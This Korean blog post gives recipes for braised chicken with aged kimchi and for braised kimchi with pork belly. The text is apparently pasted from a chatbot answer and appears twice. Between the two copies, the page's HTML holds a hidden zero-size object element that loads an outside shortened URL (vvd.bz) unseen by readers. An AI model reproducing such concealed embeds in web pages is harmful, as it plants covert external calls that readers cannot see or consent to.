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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:39">묵은지 닭볶음탕 &amp; 묵은지 김치찜 레시피: 깊은 맛의 향연</h2><p data-sourcepos="3:1-3:67"><strong>묵은지의 깊은 풍미가 더해진 닭볶음탕과 김치찜 레시피를 알려드릴게요. 집에서 간편하게 만들어 푸짐하게 즐겨보세요!</strong></p><h3 data-sourcepos="5:1-5:16">묵은지 닭볶음탕 레시피</h3><p data-sourcepos="7:1-7:7"><strong>재료:</strong></p><ul data-sourcepos="9:1-23:0">
<li data-sourcepos="9:1-9:14">닭 1마리 (토막내기)</li>
<li data-sourcepos="10:1-10:11">묵은지 1/4포기</li>
<li data-sourcepos="11:1-11:7">감자 2개</li>
<li data-sourcepos="12:1-12:7">양파 1개</li>
<li data-sourcepos="13:1-13:7">대파 1대</li>
<li data-sourcepos="14:1-14:9">청양고추 2개</li>
<li data-sourcepos="15:1-15:6">물 1컵</li>
<li data-sourcepos="16:1-16:10">고춧가루 3큰술</li>
<li data-sourcepos="17:1-17:8">간장 3큰술</li>
<li data-sourcepos="18:1-18:11">다진 마늘 1큰술</li>
<li data-sourcepos="19:1-19:11">생강즙 1/2큰술</li>
<li data-sourcepos="20:1-20:8">설탕 1큰술</li>
<li data-sourcepos="21:1-21:7">후추 약간</li>
<li data-sourcepos="22:1-23:0">들기름 2큰술</li>
</ul><p data-sourcepos="24:1-24:10"><strong>만드는 법:</strong></p><ol data-sourcepos="26:1-32:0">
<li data-sourcepos="26:1-26:39">닭을 깨끗이 씻어 물기를 제거하고, 묵은지는 큼직하게 썰어줍니다.</li>
<li data-sourcepos="27:1-27:30">냄비에 들기름을 두르고 닭을 노릇하게 볶아줍니다.</li>
<li data-sourcepos="28:1-28:41">닭이 어느 정도 익으면 묵은지, 감자, 양파를 넣고 함께 볶아줍니다.</li>
<li data-sourcepos="29:1-29:47">물, 고춧가루, 간장, 다진 마늘, 생강즙, 설탕, 후추를 넣고 잘 섞어줍니다.</li>
<li data-sourcepos="30:1-30:40">센 불에서 끓이다가 중불로 줄여 국물이 자작해질 때까지 끓여줍니다.</li>
<li data-sourcepos="31:1-32:0">대파와 청양고추를 넣고 한소끔 끓여주면 완성입니다.</li>
</ol><p data-sourcepos="33:1-33:6"><strong>팁:</strong></p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:32">묵은지를 씻어서 사용하면 깔끔한 맛을 낼 수 있습니다.</li>
<li data-sourcepos="36:1-36:35">닭을 미리 삶아서 사용하면 조리 시간을 단축할 수 있습니다.</li>
<li data-sourcepos="37:1-38:0">매운 맛을 즐기는 분은 청양고추를 더 넣어주세요.</li>
</ul><h3 data-sourcepos="39:1-39:15">묵은지 김치찜 레시피</h3><p data-sourcepos="41:1-41:7"><strong>재료:</strong></p><ul data-sourcepos="43:1-53:0">
<li data-sourcepos="43:1-43:11">묵은지 1/2포기</li>
<li data-sourcepos="44:1-44:10">삼겹살 300g</li>
<li data-sourcepos="45:1-45:7">대파 1대</li>
<li data-sourcepos="46:1-46:9">청양고추 2개</li>
<li data-sourcepos="47:1-47:6">물 1컵</li>
<li data-sourcepos="48:1-48:10">고춧가루 2큰술</li>
<li data-sourcepos="49:1-49:8">간장 2큰술</li>
<li data-sourcepos="50:1-50:11">다진 마늘 1큰술</li>
<li data-sourcepos="51:1-51:8">설탕 1큰술</li>
<li data-sourcepos="52:1-53:0">후추 약간</li>
</ul><p data-sourcepos="54:1-54:10"><strong>만드는 법:</strong></p><ol data-sourcepos="56:1-62:0">
<li data-sourcepos="56:1-56:38">묵은지를 큼직하게 썰고, 삼겹살은 먹기 좋은 크기로 잘라줍니다.</li>
<li data-sourcepos="57:1-57:27">냄비에 삼겹살을 먼저 볶아 기름을 빼줍니다.</li>
<li data-sourcepos="58:1-58:24">묵은지, 대파를 넣고 함께 볶아줍니다.</li>
<li data-sourcepos="59:1-59:42">물, 고춧가루, 간장, 다진 마늘, 설탕, 후추를 넣고 잘 섞어줍니다.</li>
<li data-sourcepos="60:1-60:40">센 불에서 끓이다가 중불로 줄여 국물이 자작해질 때까지 끓여줍니다.</li>
<li data-sourcepos="61:1-62:0">청양고추를 넣고 한소끔 끓여주면 완성입니다.</li>
</ol><p data-sourcepos="63:1-63:6"><strong>팁:</strong></p><ul data-sourcepos="65:1-68:0">
<li data-sourcepos="65:1-65:32">묵은지를 씻어서 사용하면 깔끔한 맛을 낼 수 있습니다.</li>
<li data-sourcepos="66:1-66:26">돼지고기 대신 소고기를 사용해도 맛있습니다.</li>
<li data-sourcepos="67:1-68:0">김치찜에 콩나물이나 두부를 추가하면 더욱 풍성하게 즐길 수 있습니다.</li>
</ul><p data-sourcepos="69:1-69:77"><strong>두 가지 레시피 모두 묵은지의 깊은 맛과 매콤한 양념이 어우러져 밥도둑이 따로 없습니다. 뜨끈한 밥에 얹어 먹으면 더욱 맛있습니다.</strong></p><p data-sourcepos="71:1-71:43"><strong>다양한 레시피를 참고하여 자신만의 맛있는 묵은지 요리를 만들어 보세요!</strong></p><p data-sourcepos="73:1-73:27"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="75:1-75:26"><strong>묵은지요리 닭볶음탕 김치찜 레시피</strong></p><p data-sourcepos="77:1-77:9"><strong>[참고]</strong></p><ul data-sourcepos="78:1-80:0">
<li data-sourcepos="78:1-78:41"><strong>만개의레시피:</strong> 다양한 묵은지 요리 레시피를 확인할 수 있습니다.</li>
<li data-sourcepos="79:1-80:0"><strong>유튜브:</strong> 묵은지 요리 관련 영상을 검색하여 시각적인 레시피를 참고할 수 있습니다.</li>
</ul><p data-sourcepos="81:1-81:35"><strong>이 외에도 더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:39">묵은지 닭볶음탕 & 묵은지 김치찜 레시피: 깊은 맛의 향연</h2><p data-sourcepos="3:1-3:67"><strong>묵은지의 깊은 풍미가 더해진 닭볶음탕과 김치찜 레시피를 알려드릴게요. 집에서 간편하게 만들어 푸짐하게 즐겨보세요!</strong></p><h3 data-sourcepos="5:1-5:16">묵은지 닭볶음탕 레시피</h3><p data-sourcepos="7:1-7:7"><strong>재료:</strong></p><ul data-sourcepos="9:1-23:0">
<li data-sourcepos="9:1-9:14">닭 1마리 (토막내기)</li>
<li data-sourcepos="10:1-10:11">묵은지 1/4포기</li>
<li data-sourcepos="11:1-11:7">감자 2개</li>
<li data-sourcepos="12:1-12:7">양파 1개</li>
<li data-sourcepos="13:1-13:7">대파 1대</li>
<li data-sourcepos="14:1-14:9">청양고추 2개</li>
<li data-sourcepos="15:1-15:6">물 1컵</li>
<li data-sourcepos="16:1-16:10">고춧가루 3큰술</li>
<li data-sourcepos="17:1-17:8">간장 3큰술</li>
<li data-sourcepos="18:1-18:11">다진 마늘 1큰술</li>
<li data-sourcepos="19:1-19:11">생강즙 1/2큰술</li>
<li data-sourcepos="20:1-20:8">설탕 1큰술</li>
<li data-sourcepos="21:1-21:7">후추 약간</li>
<li data-sourcepos="22:1-23:0">들기름 2큰술</li>
</ul><p data-sourcepos="24:1-24:10"><strong>만드는 법:</strong></p><ol data-sourcepos="26:1-32:0">
<li data-sourcepos="26:1-26:39">닭을 깨끗이 씻어 물기를 제거하고, 묵은지는 큼직하게 썰어줍니다.</li>
<li data-sourcepos="27:1-27:30">냄비에 들기름을 두르고 닭을 노릇하게 볶아줍니다.</li>
<li data-sourcepos="28:1-28:41">닭이 어느 정도 익으면 묵은지, 감자, 양파를 넣고 함께 볶아줍니다.</li>
<li data-sourcepos="29:1-29:47">물, 고춧가루, 간장, 다진 마늘, 생강즙, 설탕, 후추를 넣고 잘 섞어줍니다.</li>
<li data-sourcepos="30:1-30:40">센 불에서 끓이다가 중불로 줄여 국물이 자작해질 때까지 끓여줍니다.</li>
<li data-sourcepos="31:1-32:0">대파와 청양고추를 넣고 한소끔 끓여주면 완성입니다.</li>
</ol><p data-sourcepos="33:1-33:6"><strong>팁:</strong></p><ul data-sourcepos="35:1-38:0">
<li data-sourcepos="35:1-35:32">묵은지를 씻어서 사용하면 깔끔한 맛을 낼 수 있습니다.</li>
<li data-sourcepos="36:1-36:35">닭을 미리 삶아서 사용하면 조리 시간을 단축할 수 있습니다.</li>
<li data-sourcepos="37:1-38:0">매운 맛을 즐기는 분은 청양고추를 더 넣어주세요.</li>
</ul><h3 data-sourcepos="39:1-39:15">묵은지 김치찜 레시피</h3><p data-sourcepos="41:1-41:7"><strong>재료:</strong></p><ul data-sourcepos="43:1-53:0">
<li data-sourcepos="43:1-43:11">묵은지 1/2포기</li>
<li data-sourcepos="44:1-44:10">삼겹살 300g</li>
<li data-sourcepos="45:1-45:7">대파 1대</li>
<li data-sourcepos="46:1-46:9">청양고추 2개</li>
<li data-sourcepos="47:1-47:6">물 1컵</li>
<li data-sourcepos="48:1-48:10">고춧가루 2큰술</li>
<li data-sourcepos="49:1-49:8">간장 2큰술</li>
<li data-sourcepos="50:1-50:11">다진 마늘 1큰술</li>
<li data-sourcepos="51:1-51:8">설탕 1큰술</li>
<li data-sourcepos="52:1-53:0">후추 약간</li>
</ul><p data-sourcepos="54:1-54:10"><strong>만드는 법:</strong></p><ol data-sourcepos="56:1-62:0">
<li data-sourcepos="56:1-56:38">묵은지를 큼직하게 썰고, 삼겹살은 먹기 좋은 크기로 잘라줍니다.</li>
<li data-sourcepos="57:1-57:27">냄비에 삼겹살을 먼저 볶아 기름을 빼줍니다.</li>
<li data-sourcepos="58:1-58:24">묵은지, 대파를 넣고 함께 볶아줍니다.</li>
<li data-sourcepos="59:1-59:42">물, 고춧가루, 간장, 다진 마늘, 설탕, 후추를 넣고 잘 섞어줍니다.</li>
<li data-sourcepos="60:1-60:40">센 불에서 끓이다가 중불로 줄여 국물이 자작해질 때까지 끓여줍니다.</li>
<li data-sourcepos="61:1-62:0">청양고추를 넣고 한소끔 끓여주면 완성입니다.</li>
</ol><p data-sourcepos="63:1-63:6"><strong>팁:</strong></p><ul data-sourcepos="65:1-68:0">
<li data-sourcepos="65:1-65:32">묵은지를 씻어서 사용하면 깔끔한 맛을 낼 수 있습니다.</li>
<li data-sourcepos="66:1-66:26">돼지고기 대신 소고기를 사용해도 맛있습니다.</li>
<li data-sourcepos="67:1-68:0">김치찜에 콩나물이나 두부를 추가하면 더욱 풍성하게 즐길 수 있습니다.</li>
</ul><p data-sourcepos="69:1-69:77"><strong>두 가지 레시피 모두 묵은지의 깊은 맛과 매콤한 양념이 어우러져 밥도둑이 따로 없습니다. 뜨끈한 밥에 얹어 먹으면 더욱 맛있습니다.</strong></p><p data-sourcepos="71:1-71:43"><strong>다양한 레시피를 참고하여 자신만의 맛있는 묵은지 요리를 만들어 보세요!</strong></p><p data-sourcepos="73:1-73:27"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="75:1-75:26"><strong>묵은지요리 닭볶음탕 김치찜 레시피</strong></p><p data-sourcepos="77:1-77:9"><strong>[참고]</strong></p><ul data-sourcepos="78:1-80:0">
<li data-sourcepos="78:1-78:41"><strong>만개의레시피:</strong> 다양한 묵은지 요리 레시피를 확인할 수 있습니다.</li>
<li data-sourcepos="79:1-80:0"><strong>유튜브:</strong> 묵은지 요리 관련 영상을 검색하여 시각적인 레시피를 참고할 수 있습니다.</li>
</ul><p data-sourcepos="81:1-81:35"><strong>이 외에도 더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div>
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묵은지 닭볶음탕 만드는법 신김치요리 묵은지김치찜 레시피
이상우
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24.11.29 21:38
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